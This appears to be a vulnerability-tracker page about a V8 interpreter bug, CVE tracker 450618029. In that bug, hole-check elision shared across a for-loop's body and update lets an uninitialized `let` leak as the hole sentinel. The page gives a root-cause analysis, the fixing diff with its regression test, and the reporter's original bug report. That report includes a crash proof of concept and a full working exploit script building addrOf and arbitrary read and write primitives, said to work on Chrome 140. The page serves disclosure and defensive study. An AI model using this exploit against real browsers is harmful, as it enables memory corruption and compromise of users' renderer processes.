High watch ✔︎ verified CVSS 8.8 chrome Logic Error Exploitability: High (assessed) 📄 Reporter bug report 🔧 Commit mapped 🧬 TDZ hole-check elided across a branch

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in V8
DescriptionInappropriate implementation in V8
ComponentV8
Sub-componentInterpreter
Bug ClassLogic Error
ExploitabilityHigh (assessed by PatchGap · plausible)
Bytecode generator shared one hole-check-elision scope across body+next in a for-loop; a `continue` skips the body tail so `next` wrongly elides a hole check, letting an uninitialized `let` be read as the TheHole sentinel. Hole-leak-to-JS is a known V8 type-confusion primitive, so RCE-class though t
PatchGap's own analysis from the fixing commit, not a vendor rating. Absence of this line means not yet assessed, not "not exploitable".
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety — revised by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed (tier revised from patch-now)
Reviewer notes: Root cause confirmed by diff (hole-elision shared across body/next, continue merge). But 'corruption' primitive unsupported: diff/test show only a TDZ bypass (missing ReferenceError reading uninitialized let); memory corruption not demonstrated.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker450618029
Fix commit1f5fbf682408 (v8/v8) +34/-2
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedAorui Zhang
Reported2025-10-10 · bounty $50000 (per vendor advisory)
Fix landed2025-10-10 (public git)
Disclosed2025-10-28
Patch gap18 days — fix public in source before the advisory

Background

Hole check
A runtime guard the V8 interpreter emits before reading a let/const binding, throwing ReferenceError: Cannot access before initialization if the slot still holds the “hole” (uninitialized) sentinel.
Hole check elision
A BytecodeGenerator optimization that omits a hole check once a binding is provably initialized along the current control-flow path, tracked per-scope so redundant guards are dropped.
`HoleCheckElisionMergeScope`
A scope helper in bytecode-generator.cc that reconciles the set of elided/checked bindings across branches so an elision only survives if it holds on every incoming path.
`ControlScopeForIteration`
The ControlScope subclass that handles break/continue inside loop bodies and knows where a continue jumps to.

Root Cause Analysis

When compiling a classic for (start; cond; next) { body } loop, BuildIterationBody in bytecode-generator.cc visited body and next under a single shared hole-check-elision scope, assuming any binding initialized during body was also initialized by the time next ran. This invariant is violated by a continue inside body: control can jump directly to next without executing the tail of body, so a binding that body would have initialized may still be the hole when next reads it. Because the elision state from the abandoned body tail leaked into next, the generator could wrongly conclude the binding was initialized and elide the hole check in next, allowing an uninitialized let to be read without the expected ReferenceError.

The fix treats body as “branchy”: it wraps Visit(stmt->body()) in a HoleCheckElisionMergeScope::Branch, merges each continue into the scope via merge_elider_.MergeBranch(), and calls merge_elider().Merge() before binding the continue target, so next only elides checks that hold on both the body-fall-through and every continue path.

Key insight
The core mistake was sharing one hole-check-elision scope across body and next as if body always ran to completion, ignoring that continue short-circuits to next; the fix merges the elision state of every continue edge (plus the body end) before next, so a binding is only assumed initialized where that is true on all paths.

Attack Path

  1. Craft a mismatched loop Write a for loop whose next expression reads a lexical binding (let y) that is only initialized deeper inside the loop body.
  2. Add an early continue Place a continue early in body (e.g. if (i == 0) continue;) so the first iteration jumps to next before y would be initialized.
  3. Trigger faulty elision The old BuildIterationBody shares one elision scope, so the initialization of y seen later in body causes the hole check for y in next to be elided.
  4. Read the hole On the continue iteration, next reads y while it still holds the hole sentinel, with no guard emitted.
  5. Observe wrong behavior Instead of the mandated ReferenceError, the hole value flows into program logic, violating the language’s temporal-dead-zone semantics.

Impact Assessment

An attacker running JavaScript in the renderer can read a lexical binding while it is still the uninitialized “hole” sentinel, defeating temporal-dead-zone semantics without the required ReferenceError. This is a logic error in the V8 interpreter reachable purely from script; the precondition is a for (start; cond; next) loop whose next accesses a let/const initialized only later in a body that contains a continue. Exposing the hole sentinel to script is a known primitive for further type-confusion and memory-corruption exploitation of V8.

Changed Functions

FunctionChangeNotes
for modified
loop_builder_
src/interpreter/bytecode-generator.cc
modified
merge_elider_
src/interpreter/bytecode-generator.cc
modified
for
test/message/fail/for-of-uninitialized.js
modified
for
test/message/fail/for-of-uninitialized.out
modified

Files Changed

  • src/interpreter/bytecode-generator.cc
  • test/message/fail/for-of-uninitialized.js
  • test/message/fail/for-of-uninitialized.out

Audit Directions

  • Shared elision scopes across control-flow joins
    Review every place a single HoleCheckElisionMergeScope spans regions that a break, continue, return, or exception can jump between without running to the end.
  • Loop desugaring assumptions
    Audit other loop forms (for-in, for-of, while, do-while) and their next/update sections for the same assumption that the body always completes before the update runs.
  • Branchy statements and TDZ
    Look for any hole-check elision that trusts initialization performed after a conditional early-exit, where a binding may still be in its temporal dead zone on some path.
From 1f5fbf68240881514b88112d13c146facdb60244 Mon Sep 17 00:00:00 2001
From: Toon Verwaest <verwaest@chromium.org>
Date: Fri, 10 Oct 2025 16:48:24 +0200
Subject: [PATCH] [interpreter] Merge hole elision info on continue

for loops that are structured

  for (start; cond; next) { body }

currently have a single scope for

  body
  next

but that's wrong, since body isn't guaranteed to run to the end before
running next. There might be a `continue`. This considers `body` to be
"branchy" with any continue merging before next, as well as the body
end itself.

Bug: 450618029
Change-Id: I0156e1c02eeafad880bd324f1f5441023d53139d
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7030683
Auto-Submit: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Reviewed-by: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#103064}
---

diff --git a/src/interpreter/bytecode-generator.cc b/src/interpreter/bytecode-generator.cc
index 37faf63..6d44462 100644
--- a/src/interpreter/bytecode-generator.cc
+++ b/src/interpreter/bytecode-generator.cc
@@ -589,7 +589,10 @@
                            LoopBuilder* loop_builder)
       : ControlScope(generator),
         statement_(statement),
-        loop_builder_(loop_builder) {}
+        loop_builder_(loop_builder),
+        merge_elider_(generator) {}
+
+  HoleCheckElisionMergeScope& merge_elider() { return merge_elider_; }
 
  protected:
   bool Execute(Command command, Statement* statement,
@@ -601,6 +604,7 @@
         loop_builder_->Break();
         return true;
       case CMD_CONTINUE:
+        merge_elider_.MergeBranch(generator());
         PopContextToExpectedDepth();
         loop_builder_->Continue();
         return true;
@@ -615,6 +619,7 @@
  private:
   Statement* statement_;
   LoopBuilder* loop_builder_;
+  HoleCheckElisionMergeScope merge_elider_;
 };
 
 // Scoped class for enabling 'throw' in try-catch constructs.
@@ -3119,7 +3124,12 @@
                                            LoopBuilder* loop_builder) {
   loop_builder->LoopBody();
   ControlScopeForIteration execution_control(this, stmt, loop_builder);
-  Visit(stmt->body());
+  {
+    HoleCheckElisionMergeScope::Branch branch_elider(
+        execution_control.merge_elider());
+    Visit(stmt->body());
+  }
+  execution_control.merge_elider().Merge();
   loop_builder->BindContinueTarget();
 }
 
diff --git a/test/message/fail/for-of-uninitialized.js b/test/message/fail/for-of-uninitialized.js
new file mode 100644
index 0000000..d695582
--- /dev/null
+++ b/test/message/fail/for-of-uninitialized.js
@@ -0,0 +1,15 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+function test() {
+    for (var i = 0; i < 1; y) {
+        if (i == 0)
+            continue;
+        y;
+
+    }
+    let y;
+}
+
+test();
diff --git a/test/message/fail/for-of-uninitialized.out b/test/message/fail/for-of-uninitialized.out
new file mode 100644
index 0000000..f488b05
--- /dev/null
+++ b/test/message/fail/for-of-uninitialized.out
@@ -0,0 +1,7 @@
+*%(basename)s:6: ReferenceError: Cannot access 'y' before initialization
+    for (var i = 0; i < 1; y) {
+                           ^
+ReferenceError: Cannot access 'y' before initialization
+    at test (*%(basename)s:6:28)
+    at *%(basename)s:15:1
+
Loading diff…

Original Bug Report

reported by ry...@gmail.com

TDZ check elision leading to hole leak

Summary

Hole checks can be incorrectly elided when processing a for statement, potentially resulting in hole leak and type confusion.

RCA

When handling for statements, the bytecode generator follows a specific dominator order in which it assumes BODY dominates NEXT, so they share the same elision scope. However, this is not always the case for statements in BODY and NEXT.

  // C-style for loops' textual order differs from dominator order.
  //
  // for (INIT; TEST; NEXT) BODY
  // REST
  //
  //   has the dominator order of
  //
  // INIT dominates TEST dominates BODY dominates NEXT

As demonstrated in the code at BytecodeGenerator::VisitForStatement, both BODY and NEXT reside within the same elision scope. For example, if a variable y is initialized in BODY and a CONTINUE statement exists prior to its initialization, y will be incorrectly marked as initialized. Consequently, when y is used in the NEXT statement, the hole check will be improperly elided in NEXT before usage, leaking hole values into the JavaScript scope.

  HoleCheckElisionScope elider(this);
  VisitIterationBody(stmt, &loop_builder);
  if (stmt->next() != nullptr) {
    builder()->SetStatementPosition(stmt->next());
    Visit(stmt->next());
  }

POC

The following PoC was tested against the latest commit fed47445bbdd1a69b70f2b93a761c62c1e0f769c at the time of reporting, using the pre-compiled debug binary from gs://v8-asan/mac-debug/d8-asan-mac-debug-v8-component-103041.zip.

function use(x) {
    % DebugPrint(x);
    let map = new Map();
    map.delete(x);
}
function pwn() {
    for (var i = 0; i < 1; use(y)) {
        if (i == 0)
            continue;
        y;

    }
    let y;
}

pwn();

output:

DebugPrint: 0x7900020001: [Hole] in ReadOnlySpace
  <the_hole_value>
0x7900000745: [Map] in ReadOnlySpace
 - map: 0x007900000475 <MetaMap (0x00790000002d <null>)>
 - type: HOLE_TYPE
 - instance size: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x007900000011 <undefined>
 - prototype_validity_cell: 0
 - instance descriptors (own) #0: 0x0079000007e5 <DescriptorArray[0]>
 - prototype: 0x00790000002d <null>
 - constructor: 0x00790000002d <null>
 - dependent code: 0x0079000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0



#
# Fatal error in ../../src/objects/objects-inl.h, line 2073
# Debug check failed: instance_type != HOLE_TYPE (HOLE_TYPE (272) vs. HOLE_TYPE (272)).
#
#
#
#FailureMessage Object: 0x12f477c60
==== C stack trace ===============================

    0   d8                                  0x00000001097ea6d3 v8::base::debug::StackTrace::StackTrace() + 19
    1   d8                                  0x0000000109800d91 v8::platform::(anonymous namespace)::PrintStackTrace() + 305
    2   d8                                  0x00000001097b384a V8_Fatal(char const*, int, char const*, ...) + 666
    3   d8                                  0x00000001097b2a2f v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x0000000100c1bc0f v8::internal::Object::GetSimpleHash(v8::internal::Tagged<v8::internal::Object>) + 2959
    5   d8                                  0x0000000100b86280 v8::internal::Object::GetHash(v8::internal::Tagged<v8::internal::Object>) + 192
    6   d8                                  0x0000000102dcf759 v8::internal::OrderedHashMap::GetHash(v8::internal::Isolate*, unsigned long) + 185
    7   ???                                 0x000000018d17281b 0x0 + 6662072347
    8   ???                                 0x000000018cc50685 0x0 + 6656689797
    9   ???                                 0x000000018cc50685 0x0 + 6656689797
[1]    99221 trace trap  ./d8 --allow-natives-syntax poc.js

Exploit

Vulnerability exploitation is possible through existing techniques, as demonstrated in CVE-2025-6554, which was resolved by commit 869dc4afa04b792da08e7a6e01d4981b4118c894.

The following script demonstrates the ability to perform arbitrary read and write operations within the sandbox, tested and confirmed to work on both the parent commit 9ba45bdfdd8 and the latest Chrome Extended Stable version 140.0.7339.240.

class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.dv = new DataView(this.buf);
    this.u8 = new Uint8Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
    this.f32 = new Float32Array(this.buf);
    this.f64 = new Float64Array(this.buf);

    this.roots = new Array(0x30000);
    this.index = 0;
  }

  pair_i32_to_f64(p1, p2) {
    this.u32[0] = p1;
    this.u32[1] = p2;
    return this.f64[0];
  }

  i64tof64(i) {
    this.u64[0] = i;
    return this.f64[0];
  }

  f64toi64(f) {
    this.f64[0] = f;
    return this.u64[0];
  }

  set_i64(i) {
    this.u64[0] = i;
  }

  set_l(i) {
    this.u32[0] = i;
  }

  set_h(i) {
    this.u32[1] = i;
  }

  get_i64() {
    return this.u64[0];
  }

  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }

  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }

  add_ref(object) {
    this.roots[this.index++] = object;
  }

  mark_sweep_gc() {
    new ArrayBuffer(0x7fe00000);
  }

  scavenge_gc() {
    for (var i = 0; i < 8; i++) {
      // fill up new space external backing store bytes
      this.add_ref(new ArrayBuffer(0x200000));
    }
    this.add_ref(new ArrayBuffer(8));
  }

  hex(i) {
    return i.toString(16).padStart(16, "0");
  }

  breakpoint() {
    this.buf.slice();
  }
}

var helper = new Helpers();

helper.mark_sweep_gc();
helper.mark_sweep_gc();

function pwn(trigger) {
  var hole;

  for (var i = 0; i < 1; hole = y, i++) {
    if (i == 0) continue;
    y;
  }
  let y;

  let o = {};
  o.s = trigger ? hole : "not the hole";
  var s = 2 - (Math.sign(o.s.length) + 1);
  var i = 2 * ((5 - (s + 4)) >> 1) + 2;
  let idx = i * 200;

  let arr = new Array(8);
  let flt_arr = [1.1];
  let obj_arr = [flt_arr, flt_arr];
  arr[0] = 13.37;

  arr[idx] = 13.37;
  return [arr, flt_arr, obj_arr];
}

for (var i = 0; i < 0x100000; i++) {
  pwn(false);
  pwn(false);
  pwn(false);
  pwn(false);
}
let [corrupted, flt_arr, obj_arr] = pwn(true);

function addrOf(obj) {
  obj_arr[0] = obj;
  return helper.ftoil(corrupted[15]);
}

function aar(addr) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  return flt_arr[0];
}

function read8(addr) {
  return helper.f64toi64(aar(addr));
}

function read4(addr) {
  return helper.ftoil(aar(addr));
}

function aaw(addr, value) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  flt_arr[0] = value;
}

function write8(addr, value) {
  aaw(addr, helper.i64tof64(value));
}

function write4(addr, value) {
  aaw(addr, helper.pair_i32_to_f64(value, read4(addr + 4)));
}

Bitsect

The issue was introduced by commit 7ce3a5517944fdac428313d80f8cd49474dce667 and enabled by commit 5593d76d69094933d115d496d14aa0c2fde0c266

View on issue tracker